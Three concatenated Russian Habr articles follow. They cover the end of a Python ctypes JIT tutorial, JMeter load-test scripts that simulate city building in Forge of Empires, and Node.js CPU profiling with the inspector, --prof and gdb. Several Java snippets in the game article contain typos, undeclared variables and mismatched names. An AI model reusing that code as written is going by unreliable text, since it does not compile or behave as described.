В нижней части мы возвращаем тип функции ctypes для использования в этом коде. Это несколько произвольное размещение, но я подумал, что хорошо будет поместить его рядом с машинным кодом.
Финальная часть
===============
Теперь у нас есть основные части, которые можно совместить. Сначала — выделить одну страницу памяти:
```
pagesize = sysconf(_SC_PAGESIZE)
block = create_block(pagesize)
```
Затем сгенерировать машинный код. В качестве множителя выберем число 101.
```
mul101_signature = make_multiplier(block, 101)
```
Теперь помечаем участок памяти как исполняемый и доступный только для чтения:
```
make_executable(block, pagesize)
```
Берём адрес первого байта в блоке памяти подаём его в вызываемую функцию ctypes с правильным типом:
```
address = ctypes.cast(block, ctypes.c_void_p).value
mul101 = mul101_signature(address)
```
Чтобы получить адрес памяти блока, используем ctypes для его передачи пустому указателю и извлечения его значения. Наконец, инициализируем реальную функцию с этого адреса с помощью конструктора `mul101_signature`.
Вуаля! Теперь у нас кусочек *нативного кода*, который можно вызвать из Python. Если вы находитесь в среде REPL, то можно сделать это напрямую:
`>>> print(mul101(8))
808`
Заметьте, что эта маленькая функция умножения работает медленнее, чем нативные вычисления Python. Это главным образом из-за чужеродной библиотеки ctypes, использование которой несёт много накладных расходов: каждый раз при вызове функции нужно проверить, какие динамические типы вы ей передаёте, затем распаковать их и преобразовать, а потом сделать то же самое с возвращаемым значением. Так что есть смысл использовать ассемблер или если у вас есть доступ к каким-то новым инструкциям Intel, или для компиляции чего-то вроде Brainfuck в нативный код.
В конце, если хотите, можете позволить системе повторно использовать участок памяти, в котором находится функция. Имейте в виду, что после этого, вероятно, произойдёт сбой процесса, если попытаться снова обратиться к коду. Так что наверное лучше одновременно удалить вообще все упоминания Python:
```
destroy_block(block, pagesize)
del block
del mul101
```
Если запустите код в его полном виде из [репозитория GitHub](https://github.com/cslarsen/minijit), то можете указать константу для умножения прямо в командной строке:
`$ python mj.py 101
Pagesize: 4096
Allocating one page of memory
JIT-compiling a native mul-function w/arg 101
Making function block executable
Testing function
OK mul(0) = 0
OK mul(1) = 101
OK mul(2) = 202
OK mul(3) = 303
OK mul(4) = 404
OK mul(5) = 505
OK mul(6) = 606
OK mul(7) = 707
OK mul(8) = 808
OK mul(9) = 909
Deallocating function`
Отладка JIT-кода
================
Если хотите продолжить обучение с помощью этой маленькой программы, то вскоре возникнет мысль дизассемблировать сгенерированный машинный код. Как вариант, можно просто использовать gdb или lldb, но нужно знать, откуда начать. Есть такой трюк: просто вывести hex-значение адреса блока с ожиданием нажатия клавиши:
```
print("address: 0x%x" % address)
print("Press ENTER to continue")
raw_input()
```
Затем просто запускаете программу в отладчике и во время паузы дизассемблируете область памяти. Конечно, также есть возможность пошаговой отладки ассемблерного кода, если хотите посмотреть, что происходит. Пример сессии lldb:
```
$ lldb python
...
(lldb) run mj.py 101
...
(lldb) c
Process 19329 resuming
...
address 0x1002fd000
Press ENTER to continue
```
В этом месте нажмите CTRL+C для возвращения в отладчик, затем дизассемблируйте код из области памяти:
```
(lldb) x/3i 0x1002fd000
0x1002fd000: 48 b8 65 00 00 00 00 00 00 00 movabsq $0x65, %rax
0x1002fd00a: 48 0f af c7 imulq %rdi, %rax
0x1002fd00e: c3 retq
```
Обратите внимание, что 65 в hex — это 101 в десятичной системе, то есть тот аргумент командной строки, который мы ввели выше.
Если нужен дизассемблер только в Python, рекомендую модуль [Capstone](http://www.capstone-engine.org/lang_python.html).
Что дальше?
===========
Хорошим упражнением была бы JIT-компиляция [программ Brainfuck](https://en.wikipedia.org/wiki/Brainfuck) в нативный код. Если хотите сразу этим заняться, я открыл репозиторий GitHub по адресу [github.com/cslarsen/brainfuck-jit](https://github.com/cslarsen/brainfuck-jit). Я даже сделал [презентацию Speaker Deck](https://speakerdeck.com/csl/how-to-make-a-simple-virtual-machine). Там показана JIT-компиляция и оптимизации, но вместо подхода из этой статьи для компиляции нативного кода используется GNU Lightning. Но должно быть исключительно просто использовать примеры без GNU Lightning или сгенерировать собственный код. Интересное наблюдение по проекту Brainfuck: если вы выполните просто JIT-компиляцию всех инструкций Brainfuck одна за другой, то не получите особого увеличения производительности даже в нативном коде. Весь прирост производительности происходит на этапе *оптимизации кода*, где вы забиваете целочисленными операциями одну или несколько инструкций x86. Ещё один кандидат на такую компиляцию — [язык Forth](https://github.com/nornagon/jonesforth/blob/master/jonesforth.S).
Прежде чем серьёзно взяться за расширение этого JIT-компилятора, взгляните на [проект PeachPy](https://github.com/Maratyszcza/PeachPy). Это гораздо более продвинутый проект, чем у нас, он включает в себя дизассемблер и поддерживает как будто весь набор инструкций x86-64, вплоть до [AVX](https://en.wikipedia.org/wiki/Advanced_Vector_Extensions).
Как упомянуто выше, существует много накладных расходов при использовании ctypes для вызова функций. Чтобы устранить некоторые из них, можно использовать модуль `cffi`, но факт остаётся фактом: если вы хотите многократно вызывать очень маленькие JIT-функции, то обычно это быстрее сделать на чистом Python.
Какие ещё есть примечательные варианты использования? Мне встречались некоторые математические библиотеки на Python, которые переходят на векторные операции для повышения производительности. Но могу представить и другие вещи. Например, инструменты для сжатия и декомпрессии нативного кода, доступа к примитивам виртуализации и так далее. Знаю, что некоторые инструменты [BPF](https://en.wikipedia.org/wiki/Berkeley_Packet_Filter) и модули regex тоже выполняют JIT-компиляцию запросов для более быстрой обработки данных.
Что интересно в этом упражнении — так это то, что мы вступаем на территорию за пределами чистого ассемблера. Например, приходит в голову мысль, как различные инструкции дизассемблируются в одинаковые символы. Так, у инструкции RETQ иной opcode, чем у обычной инструкции RET, потому что она обрабатывает 64-битные значения. Может, это и не важно при программировании на ассемблере, потому что такие детали не всегда имеют значение, но стоит помнить о разнице. Я видел, как gcc, lldb и objdump выдавали слегка разный листинг дизассемблера для инструкций RETQ и MOVABSQ в одном и том же коде.
Ещё одно замечание. Я упоминал, что сделанный мной нативный компилятор Brainfuck изначально выдаёт не очень быстрый код. Его нужно оптимизировать. То есть код не становится быстрее автоматически от того факта, что у вас есть AVX, CUDA или что-то ещё. Жестокая правда в том, что в компилятор gcc зашита большая база оптимизаций, которые практически невозможно воспроизвести вручную. Для дополнительной информации я бы рекомендовал [классическую лекцию Феликса фон Лейтнера об оптимизации исходного кода](http://www.fefe.de/source-code-optimization.pdf).
Что насчёт действительной компиляции?
=====================================
Несколько человек написали в [комментариях](https://news.ycombinator.com/item?id=15665581), что ожидали более подробного описания этапа, где по-настоящему выполняется компиляция. Это справедливое замечание. Как я говорил, это и вправду очень ограниченная форма компиляции, где мы практически ничего не делаем с кодом во время выполнения — всего лишь вставляем константу. *Может быть*, я напишу продолжение статьи, в котором рассмотрим чисто этап компиляции. Будьте на связи! | https://habr.com/ru/post/342410/ | null | ru | null |
# Разработка нагрузочных скриптов для браузерных/мобильных игр. Часть 1
Привет, Хабр. В [прошлой](https://habr.com/post/342380/) статье я рассказал об автоматизации процесса нагрузочного тестирования в игровой компании, в которой я работаю. Теперь пришло время остановится на некоторых конкретных задачах, с которыми пришлось столкнуться в ходе подготовки к процессу тестирования самих игр.
Есть большая разница между тестированием разных банковских/retail-процессов и игр. В первом случае пользователи выполняют их задачи почти изолированно друг от друга и используют только те данные и элементы, которые видят в окне своих браузеров или других клиентов в данный момент, что облегчает разработку нагрузочных скриптов. В играх же пользователи (игроки) находятся в динамично меняющемся мире и часто подвержены влиянию друг друга. В моем воображении разница выглядит примерно так:
То есть в первом случае пользователи через череду однотипных действий приходят к конечному результату и уходят на следующий круг. Игра же — это рандомный хаос в центре которого находится игровой мир, на который игроки постоянно оказывают воздействие, меняют внутриигровые данные, оказывая непосредственное влияние как на себя, так и на других игроков. Также игроки могут общаться, объединяться в гильдии и рубиться PvP.
Таким образом, при разработке нагрузочных скриптов приходится считаться со множеством условий, динамическими данными и прочим. Мне кажется, чем-то подобным должны заниматься люди которые создают ботов для разных онлайн-игр, чтобы автоматизировать некоторые однотипные задачи. Но в своих тестах мы стараемся реализовать все игровые активности.
### Проблема релевантных данных
При разработке скриптов для эмуляции банковских бизнес-процессов скрипты (обычно)
опираются на данные, которые “видят” на конкретном этапе (на веб-странице например). То есть, чтобы перейти на следующий шаг необходимо лишь расфасовать в нужные места заранее подготовленные (или взятые из этой же страницы) данные и отправить их.
Одна из главных проблем при разработке скриптов для игры — это сложность самого слежение (трекинга) изменений, которые произошли до данного конкретного момента, перед выполнением команды. Информация об изменённом состоянии объектов, ресурсов, юнитов и пр. может прийти в любой момент, даже после выполнения не связанных с конкретными данными действий. Если пропустить данное обновление, то виртуальный пользователь (VU, тред в Jmeter) будет рассинхронизован с игрой и начнет генерить ошибки аля “недостаточно ресурсов” или «нет места на карте» и превращать нагрузочный тест в нечто бесполезное. Конечно всегда есть вероятность того, что всё же скрипт выдаст что-то типа “нельзя атаковать союзника”, если он секунду назад стал таковым, но то же самое произойдет и в настоящем клиенте.
Также осложняет жизнь то, что почти всегда все исходные данные и текущее положение дел в игровом мире приходят в клиент только при логине в игру (обычно это огромный JSON на несколько мегабайт) и далее по ходу игры клиент исходя из этих первоначальных данных и преходящих изменений находится в релевантном состоянии, то есть знает о текущем положении дел. То же самое необходимо реализовать и в скрипте, надо чтобы каждый VU “запомнил” что игра присылает на стадии логина и далее аккуратно передавать и изменять эти данные в ходе выполнения теста. Далее приведу пример как я решал проблему с одной из игр компании InnoGames.
### Forge of Empires
(надеюсь это не зачтется за рекламу, нужно описать суть проблемы и решения, но не могу без краткого описания самой игры)
Это градостроительный симулятор в котором игрок начинает с эпохи каменного века и постепенно, развивая технологии, завоевывая провинции, воюя с другими игроками, продвигает и расширяет свой город до… эндгейма, который очень далеко.
Вновь зарегистрированный игрок после логина видит примерно следующее: пустое поле и одно главное большое здание (ГЗ), пару деревьев и дорог на нем:
Само незанятое поле и объекты разбиты на квадраты, в зависимости от размера приходится считаться с размером самого здания и свободного места на карте. Здания делятся на типы: жилые, производственные, военные, культурные, дороги и прочее. Разные здания производят разные ресурсы: жилые — население и деньги, производственные — товары и ресурсы, культурные — счастье и так далее. При постройке каждого здания необходимо учитывать те же самые ресурсы и если их не хватает нужно либо ждать, либо, например, построить новый дом, чтобы восполнить население. Чувствуете куда я клоню? Это не бухгалтерские проводки эмулировать :)
### Строительство
В градостроительном симуляторе главным бизнес-процессом (назовем это так) является собственно само строительство. Это первая и главная проблема при создании скриптов для игр такого рода. Проблема постройки здания делится на несколько подзадач, которые необходимо решать одновременно:
1. Понять размер здания и найти свободное время на карте под него
2. (Предварительно сверить доступные ресурсы)
3. **Новое здание должно быть соединено с главным посредством дороги, иначе оно будет бесполезным**
4. Необходимо разнообразить нагрузку, то есть мы не должны пихать одно и то же здание каждые раз, а строить разнообразные, чтобы производить разные ресурсы, включая юнитов.
Пункт номер 3 меня особенно пугал, в голову лезла необходимость использовать какие-нибудь сложные алгоритмы, что в условиях реализации тестирования при помощи Jmeter и нескольких тысяч VU особенно нереально. Необходимо использовать как можно более простые алгоритмы и структуры, иначе вопрос о железе самих генераторов нагрузки встанет колом.
После нескольких часов раздумий пришла идея простого алгоритма, я назвал его “строительство слоями”. Суть его в следующем. Как вы могли заметить на скриншоте сверху, ГЗ прижато к краю карты за которым уже ничего строить нельзя и это сыграло на руку. Каждый VU после логина первым делом строит дорогу по контуру карты и самого главного здания, а уже потом строит необходимые здания, возле этой дороги, пока есть место. Таким образом все здания построенные у дороги будут связаны с ГЗ. Далее мы строим следующий “слой” дороги уже по контуру построенный зданий. Таким образом, первоначальную дорогу мы строим, исходя из условия: например если слева граница карты, справа — пусто, а сверху и снизу от проверяемого квадрата пусто или что-то есть, то мы вероятно можем построить дорогу.
Примерно так (зеленый квадрат — ГЗ, жёлтый — дорога, черный — какое-либо здание):
### Поехали
Так как данная игра общается с клиентом исключительно посредством http с JSON`ами, я использую в Jmeter дополнительную библиотеку [org.json](https://mvnrepository.com/artifact/org.json/json/20180130) для работы и парсинга запросов/ответов в **post- и pre- процессорах**.
Первым делом, как я уже упоминал выше, необходимо в ходе логина, при выполнении инициализирующих пользовательскую сессию действий, правильно распарсить и сохранить все необходимые начальные данные. Касательно данной игры — это единственный момент, когда мы можем узнать и запомнить как выглядит наш город в данный момент, наши ресурсы, а также всю необходимую мета-информацию о стоимости зданий, юнитов, товаров, которая нам необходима впоследствии.
Для упрощения кода впоследствии и уменьшения потребляемой памяти каждым java-тредом мы сохраняем из всего набора данных только те, которые будем использовать, поэтому предварительно необходимо создать и подключить два простеньких вспомогательных класса Entity и ExistEntity — первый отвечает за любое доступное в игре здание в принципе (со стоимостью, размером, функциями и прочим), а второй за уже построенное в городе (с координатами).
```
public class Entity {
protected String id;
protected String type;
protected Integer width;
protected Integer length;
protected Integer money;
protected Integer supplies;
protected Integer population;
protected String tech_id;
protected String demand_for_happiness;
protected String provided_happiness;
protected String era;
...
}
public class ExistEntity {
protected String id;
protected String cityentity_id; // Связь с Entity
protected String type;
protected Integer x;
protected Integer y;
…
}
```
Первый POST-запрос **StaticData\_getData** возвращает огромный JSON весом в 1-2 мегабайта. Распарсим его, создадим структуру, например HashMap и заполним её объектами Entity с ключами id, чтобы впоследствии обращаться к этому хэш-мапу за информацией о каждом конкретном здании:
```
import org.json.JSONArray;
import org.json.JSONObject;
import com.innogames.jmeter.foe.Entity;
JSONArray responseData = new JSONArray(prev.getResponseDataAsString());
Map allBuildings = new HashMap(); // все доступные здания в игре
Map availableBuildings = new HashMap(); // здания, доступные для строительства (изучены)
JSONArray buildings = responseData.getJSONObject("responseData").getJSONArray("buildings");
for (int i = 0; i < buildings.length(); i++) {
JSONObject building = buildings.getJSONObject(i);
String id = building.getString("id");
String type = building.getString("type");
String name = building.getString("name");
// Размер здания:
Integer width = (building.has("width")) ? building.getInt("width") : 0;
Integer length = (building.has("length")) ? building.getInt("length") : 0;
// Ресурсы необходимые для постройки:
JSONObject requirements = building.getJSONObject("requirements");
Integer money = (requirements.getJSONObject("resources").has("money")) ? requirements.getJSONObject("resources").get("money") : 0;
....
// Минимальная эра и технология необходимая для постройки данного здания:
String min_era = requirements.getString("min_era");
String tech_id = (requirements.has("tech_id") && (!requirements.isNull("tech_id"))) ? requirements.getString("tech_id") : null;
Integer provided_happiness = (building.has("provided_happiness") && (!building.isNull("provided_happiness"))) ? building.getInt("provided_happiness") : 0;
// Создаём объект и кладем его в карту
Entity e = new Entity(id, type, min_era, width, length, money, supplies, population, tech_id, provided_happiness
);
allBuildings.put(e.getId(), e);
// Проверяем, что пользователь может построить здание
....
if (e.getEraRank() <= userEraRank && tech_researched == true) {
availableBuildings.put(e.getId(), e);
}
}
}
// Кладём созданные хэш-мапы в контекст треда, чтобы использовать их впоследствии
vars.putObject("availableBuildings", availableBuildings);
vars.putObject("allBuildings", allBuildings);
```
Теперь каждый виртуальный пользователь знает всю необходимую информацию о зданиях. Далее необходимо “запомнить” территорию, её размеры и текущее расположение зданий в самом городе. Я использовал также HashMap, в котором в качестве ключей используются объекты класса **java.awt.Point** с координатами X, Y, а в качестве значений String с названием типа здания в данной координате.
Сама территория города не является квадратом а состоит из набора открытых областей, размером 4x4, поэтому изначально мы заполняем данный хэш-мап нулями по всем координатам которые открыты и доступны пользователю. Помимо этого, нам необходимо использовать данные из предыдущего шага, т.к. мы получая только координаты здания из данного запроса, должны также “залить” другие координаты, исходя из ширины и высоты здания.
```
import org.json.JSONArray;
import org.json.JSONObject;
import com.innogames.jmeter.foe.Entity;
import com.innogames.jmeter.foe.ExistEntity;
import java.awt.Point;
Integer maxBuildingId = 0;
JSONArray responseData = new JSONArray(prev.getResponseDataAsString());
Map allBuildings = vars.getObject("allBuildings");
Map cityTerritory = new HashMap(); // Сюда заливаем информацию территории города
// Сначала заполняем нулями по всем координатам которые открыты и доступны пользователю
JSONArray entities = unlocked_areas.getJSONObject("responseData").getJSONArray("unlocked_areas");
for (int i = 0; i < unlocked_areas.length(); i++) {
Integer x = (unlocked_areas.getJSONObject(i).has("x")) ? unlocked_areas.getJSONObject(i).getInt("x") : 0;
Integer y = (unlocked_areas.getJSONObject(i).has("y")) ? unlocked_areas.getJSONObject(i).getInt("y") : 0;
Integer width_ = (unlocked_areas.getJSONObject(i).has("width")) ? unlocked_areas.getJSONObject(i).getInt("width") : 0;
Integer length_ = (unlocked_areas.getJSONObject(i).has("length")) ? unlocked_areas.getJSONObject(i).getInt("length") : 0;
for (Integer xx = x; xx <= x + width_ - 1; xx++) {
for (Integer yy = y; yy <= y + length_ - 1; yy++) {
p = new Point(xx, yy);
cityTerritory.put(p, "0");
}
}
}
// Теперь "заливаем" нашу карту информацией о построенных зданиях
JSONArray entities = responseData.getJSONObject("responseData").getJSONArray("buildings");
for (int i = 0; i < entities.length(); i++) {
Integer id = entities.getJSONObject(i).getInt("id");
String cityentity_id = entities.getJSONObject(i).getString("cityentity_id");
String type = entities.getJSONObject(i).getString("type");
int x = (entities.getJSONObject(i).has("x")) ? entities.getJSONObject(i).getInt("x") : 0;
int y = (entities.getJSONObject(i).has("y")) ? entities.getJSONObject(i).getInt("y") : 0;
ExistEntity ee = new ExistEntity(String.valueOf(id), cityentity_id, type, x, y);
if (id >= maxBuildingId) maxBuildingId = id;
Entity e = allBuildings.get(cityentity_id);
for (int xx = x; xx <= x + e.getWidth() - 1; xx++) {
for (int yy = y; yy <= y + e.getLength() - 1; yy++) {
cityTerritory.put(new Point(xx, yy), e.getType());
}
}
}
// Кладём созданную карту в контекст треда, чтобы использовать её в дальнейшем
vars.putObject("cityTerritory", cityTerritory);
```
При помощи vars.putObject() теперь каждый тред (VU) будет знать всю необходимую информацию, остаётся только вовремя обновлять данные объекты на каждом этапе выполнения скрипта, если игра присылает соответствующие данные.
### Строим
Теперь зная стоимость, размеры зданий, а также текущее расположение объектов на территории виртуального города, можно начинать строить новые здания. Первым шагом, как я писал раннее, является первый “слой” дороги по контуру карты, чтобы все последующие здания имели связь с главным.
Добавляем в HTTP Sampler **jsr223 pre-processor** и формируем запрос. Перебираем каждую квадратик, ищем пустой и тот, которого окружает хоть один (из 8) занятый другим объектом (включая границу) квадрат. Таким образом, мы “обведём” дорогой любой объект, включая границу территории (здесь есть большой простор для оптимизаций, надеюсь кто-нибудь подскажет более лучший алгоритм):
```
...
Map cityTerritory = vars.getObject("cityTerritory");
Map availableBuildings = vars.getObject("availableBuildings");
Integer maxBuildingId = Integer.valueOf(vars.get("maxBuildingId"));
Iterator cityTerritory = map.entrySet().iterator();
// Проверяем каждую координату
while (it.hasNext())
Map.Entry entry = (Map.Entry) it.next();
Point key = (Point) entry.getKey();
String value = (String) entry.getValue();
key_x = (int) key.x;
key_y = (int) key.y;
if (value.equals("0")) {
// Проверяем чем явлется каждый из восьми (относительно текущего) окружающих квадратов
if (map.containsKey(new Point(key_x, key_y - 1))) a = map.get(new Point(key_x, key_y - 1));
else a = "-1";
if (map.containsKey(new Point(key_x - 1, key_y - 1))) b = map.get(new Point(key_x - 1, key_y - 1));
else b = "-1";
if (map.containsKey(new Point(key_x + 1, key_y))) c = map.get(new Point(key_x + 1, key_y));
else c = "-1";
if (map.containsKey(new Point(key_x - 1, key_y))) d = map.get(new Point(key_x - 1, key_y));
else d = "-1";
if (map.containsKey(new Point(key_x, key_y + 1))) e = map.get(new Point(key_x, key_y + 1));
else e = "-1";
if (map.containsKey(new Point(key_x - 1, key_y + 1))) f = map.get(new Point(key_x - 1, key_y + 1));
else f = "-1";
if (map.containsKey(new Point(key_x + 1, key_y - 1))) g = map.get(new Point(key_x + 1, key_y - 1));
else g = "-1";
if (map.containsKey(new Point(key_x + 1, key_y - 1))) h = map.get(new Point(key_x + 1, key_y - 1));
else h = "-1";
// Если есть хоть один не пустой квадрат (исключая дорогу)
if ((!a.equals("0") && !a.equals("street")) || (!b.equals("0") && !b.equals("street")) || (!d.equals("0") && !d.equals("street")) || (!c.equals("0") && !c.equals("street")) || (!e.equals("0") && !e.equals("street")) || (!f.equals("0") && !f.equals("street")) || (!g.equals("0") && !g.equals("street"))) {
// Формируем реквест напостройку элемента дороги
maxBuildingId = maxBuildingId + 1;
vars.put("maxBuildingId", String.valueOf(maxBuildingId));
x = String.valueOf(key_x);
y = String.valueOf(key_y);
......
}
}
}
```
Далее нам необходимо построить само здание. Допустим, сейчас нам неважно какое, нам важен лишь его размер. Соответсвенно ищем на воображаемой карте такую координату, от которой на расстоянии ширины здания по оси X и высоты здания по оси Y находятся свободные квадраты, а также в одной из восьми квадратов по углам здания есть дорога (я правда проверяю 4 верхних, таким образом заполнение города идет сверху вниз):
Также необходимо удостовериться, что на всей желаемой территории будущего здания не окажется какого либо объекта (дерева например):
```
Iterator it = cityTerritory.entrySet().iterator();
Integer checkSizeW = targetBuilding.getWidth() - 1;
Integer checkSizeL = targetBuilding.getLength() - 1;
// Проверяем каждую координату
while (it.hasNext()) {
Map.Entry entry = (Map.Entry) entries.next();
Point key = (Point) entry.getKey();
String value = (String) entry.getValue();
if (value.equals("0")) { // Если данный квадрат пустой, проверяем остальные условия
// Первичная проверка того, что по границам здания отсутвуют другие объектов, а также что в одной из 4-х точек есть дорога:
if ((cityTerritory.containsKey(new Point(key.x - 1, key.y - 1)) && cityTerritory.containsKey(new Point(key.x - 1, key.y)) && cityTerritory.containsKey(new Point(key.x, key.y - 1)) && cityTerritory.containsKey(new Point(key.x - 1, key.y + checkSizeL)) && cityTerritory.containsKey(new Point(key.x + checkSizeW, key.y - 1)) && cityTerritory.containsKey(new Point(key.x + checkSizeW, key.y + checkSizeL))) &&
(cityTerritory.get(new Point(key.x - 1, key.y)).equals("street") || cityTerritory.get(new Point(key.x, key.y - 1)).equals("street") || cityTerritory.get(new Point(key.x - 1, key.y + checkSizeL)).equals("street") || cityTerritory.get(new Point(key.x + checkSizeW, key.y - 1)).equals("street"))
) {
boolean isFree = true;
// Окончательная проверка, по на всей желаемой территории будущего здания не окажется какого либо объекта:
for (int W = 0; W <= checkSizeW; W++) {
for (int L = 0; L <= checkSizeL; L++) {
if (!map.containsKey(new Point(key.x + W, key.y + L))) {
sFree = false;
} else {
if (!map.get(new Point(key.x + W, key.y + L)).equals("0")) {
isFree = false;
}
}
}
}
if (isFree) {
// Формируем реквест
}
}
}
}
}
```
На самом верхнем уровне тест-плана Jmeter добавляем **Post-processor** который, будет реагировать на каждый входящий респонс от игры, парсить его и обновлять объекты, так как нам необходимо трекать изменение ресурсов, а также обновлять виртуальную карту новыми зданиями:
```
JSONArray responseData = new JSONArray(response);
for (int m = 0; m < responseData.length(); m++) {
// Если пришла информация о постройке нового здания:
if (responseData.getJSONObject(m).getString("requestClass").equals("CityMapService")) {
JSONArray city_map_entities = responseData.getJSONObject(m).getJSONArray("responseData");
for (int i = 0; i < city_map_entities.length(); i++) {
JSONObject city_map_entity = city_map_entitis.get(i);
if (city_map_entity.toString().contains("CityMapEntity")) {
Integer id = city_map_entity..getInt("id");
String cityentity_id = city_map_entity..getString("cityentity_id");
String type = city_map_entity..getString("type");
Integer x = (city_map_entity..has("x")) ? city_map_entity..getInt("x") : 0;
Integer y = (city_map_entity..has("y")) ? city_map_entity..getInt("y") : 0;
Entity e = availableBuildings.get(cityentity_id);
if (id >= maxBuildingId) maxBuildingId = id;
for (int xx = x; xx <= x + e.getWidth() - 1; xx++) {
for (int yy = y; yy <= y + e.getLength() - 1; yy++) {
cityTerritory.put(new Point(xx, yy), e.getType());
}
}
}
}
// Если пришла информация об изменении текущих ресурсов
else if (responseData.getJSONObject(m).getString("requestClass").equals("ResourceService") &&
responseData.getJSONObject(m).getString("requestMethod").equals("getPlayerResources")) {
JSONObject resources = responseData.getJSONObject(m).getJSONObject("responseData").getJSONObject("resources");
vars.putObject("resources", resources);
Integer money = (resources.has("money")) ? resources.getInt("money") : 0;
Integer supplies = (resources.has("supplies")) ? resources.getInt("supplies") : 0;
Integer population = (resources.has("population")) ? resources.getInt("population") : 0;
Integer strategy_points = (resources.has("strategy_points")) ? resources.getInt("strategy_points") : 0;
vars.put("money", String.valueOf(money));
vars.put("supplies", String.valueOf(supplies));
vars.put("population", String.valueOf(population));
vars.put("strategy_points", String.valueOf(strategy_points));
}
}
```
### Итог
Как итого после одного 12-часового нагрузочного теста можно увидеть реально построенный город с различными зданиями, которые соединены с главным зданием, а значит вполне себе неплохо функционируют:
Спасибо за внимание, я решил не сваливать всё в кучу и разбить тему на несколько частей. Следующая часть будет посвящена решению той же самой проблемы, но в более жёстких условиях, когда клиент игры использует HTTP-протокол с protobuf, а обновления получает через web-сокет с STOMP.
Оставлю ссылку на наш [гитхаб](https://github.com/innogames), может найдете что-то интересное.
Всем удачи и релевантных тестов. | https://habr.com/ru/post/354348/ | null | ru | null |
# Поиск проблем производительности NodeJs приложения (с примерами)
Из-за однопоточной архитектуры Node.js важно быть настороже высокой производительности вашего приложения и избегать узких мест в коде, которые могут привести к просадкам в производительности и отнимать ценные ресурсы CPU у серверного приложения.
В этой статье речь пойдет о том, как производить мониторинг загрузки CPU nodejs-приложения, обнаружить ресурсоемкие участки кода, решить возможные проблемы со 100% загрузкой ядра CPU.
1. CPU-профайлинг приложения. Инструменты
-----------------------------------------
К счастью, у разработчиков есть удобные инструменты для обнаружения и визуализации “хот-спотов” загрузки CPU.
### Chrome DevTools Inspector
В первую очередь, это профайлер, встроенный в **Chrome DevTools**, который будет связываться с NodeJs приложением через WebSocket (стандартный порт `9229`).
Запустите nodejs-приложение с флагом **--inspect**
(по умолчанию будет использоваться стандартный порт `9229`, который можно изменить через `--inspect=<порт>`).
Если NodeJs сервер в докер-контейнере, нужно запускать ноду с `--inspect=0.0.0.0:9229` и открыть порт в `Dockerfile` или `docker-compose.yml`
Откройте в браузере **chrome://inspect**
Найдите ваше приложение в `“Remote Target”` и нажмите `“inspect”`.
Откроется окно инспектора, схожее со стандартным “браузерным” Chrome DevTools.
Нас интересует вкладка `“Profiler”`, в которой можно записывать CPU профайл в любое время работы приложения:
После записи собранная информация будет представлена в удобном таблично-древовидном виде с указанием времени работы каждой ф-ии в ms и % от общего времени записи (см. ниже).
Возьмем для экспериментов простое приложение (можно склонировать [отсюда](https://github.com/ukrbublik/nodejs-debug-notes/tree/master/0-profiling)), эксплуатирующее узкое место в либе [cycle](https://www.npmjs.com/package/cycle) (используемой в другой популярной либе [winston v2.x](https://github.com/winstonjs/winston/tree/2.x)) для эмуляции JS кода с высокой нагрузкой на CPU.
Будем сравнивать работу оригинальной либы cycle и моей [исправленной версии](https://github.com/ukrbublik/nodejs-debug-notes/blob/master/0-profiling/fixed_cycle.js#L84).
Установите приложение, запустите через `npm run inspect`. Откройте инспектор, начните запись CPU профайла. В открывшейся странице `http://localhost:5001/` нажмите `"Run CPU intensive task"`, после завершения (алерта с текстом “ok”) завершите запись CPU профайла. В результате можно увидеть картину, которая укажет на наиболее прожорливые ф-ии (в данном случае — `runOrigDecycle()` и `runFixedDecycle()`, сравните их %):
### NodeJs Profiler
Другой вариант — использование встроенного в NodeJs профайлера для создания отчетов о CPU производительности. В отличие от инспектора, он покажет данные за все время работы приложения.
Запустите nodejs-приложение с флагом **--prof**
В папке приложения будет создан файл вида `isolate-0xXXXXXXX-v8.log`, в который будут записываться данные о “тиках”.
Данные в этом файле неудобны для анализа, но из него можно сгенерировать человеко-читаемый отчет с помощью команды
`node --prof-process <файл isolate-*-v8.log>`
Пример такого отчета для тестового приложения выше [тут](https://raw.githubusercontent.com/ukrbublik/nodejs-debug-notes/master/resources/0-d-prof-report.txt)
(Чтобы сгенерировать самому, запустите `npm run prof`)
Существуют также некоторые npm-пакеты для профайлинга — [v8-profiler](https://github.com/node-inspector/v8-profiler), предоставляющий JS-интерфейс к API V8 профайлера, а также node-inspector (устарел после выхода встроенного в Chrome DevTools-based профайлера).
2. Решение проблемы блокирующего JS-кода без инспектора
-------------------------------------------------------
Предположим, так случилось, что в коде закрался бесконечный цикл или другая ошибка, приводящая к полной блокировке выполнения JS-кода на сервере. В этом случае единственный поток NodeJs будет заблокирован, сервер перестанет отвечать на запросы, а загрузка ядра CPU достигнет 100%. Если инспектор еще не запущен, то его запуск вам не поможет выловить виновный кусок кода.
В этом случае на помощь может прийти дебаггер [gdb](https://www.gnu.org/software/gdb/).
Для докера нужно использовать
`--cap-add=SYS_PTRACE`
и установить пакеты
`apt-get install libc6-dbg libc-dbg gdb valgrind`
Итак, нужно подключиться к nodejs процессу (зная его pid):
`sudo gdb -p`
После подключения ввести команды:
```
b v8::internal::Runtime_StackGuard
p 'v8::Isolate::GetCurrent'()
p 'v8::Isolate::TerminateExecution'($1)
c
p 'v8::internal::Runtime_DebugTrace'(0, 0, (void *)($1))
quit
```
Я не буду вдаваться в подробности, что делает каждая команда, скажу лишь, что тут используются некоторые внутренние ф-ии движка [V8](https://github.com/v8/v8).
В результате этого выполнение текущего блокирующего JS-кода в текущем “тике” будет остановлено, приложение продолжит свою работу (если вы используете Express, сервер сможет обрабатывать поступающее запросы дальше), а в стандартный поток вывода NodeJs-приложения будет выведен stack trace.
Он [довольно длинный](https://github.com/ukrbublik/nodejs-debug-notes/blob/master/resources/1-gdb-stack-trace.txt), но в нем можно найти полезную информацию — стек вызовов JS функций.
Находите строки такого вида:
```
--------- s o u r c e c o d e ---------
function infLoopFunc() {\x0a //this will lock server\x0a while(1) {;}\x0a}
-----------------------------------------
```
Они должны помочь определить “виноватый” код.
Для удобства написал скрипт для автоматизации этого процесса с записью стека вызовов в отдельный лог-файл: [loop-terminator.sh](https://github.com/ukrbublik/nodejs-debug-notes/blob/master/1-break-inf-loop/loop-terminator.sh)
Также см. [пример приложения](https://github.com/ukrbublik/nodejs-debug-notes/tree/master/1-break-inf-loop) с его наглядным использованием.
3. Обновляйте NodeJs (и npm-пакеты)
-----------------------------------
Иногда вы не виноваты :)
Наткнулся на забавный баг в nodejs < v8.5.0 (проверил на 8.4.0, 8.3.0), который при определенных обстоятельствах вызывает 100% загрузку 1 ядра CPU.
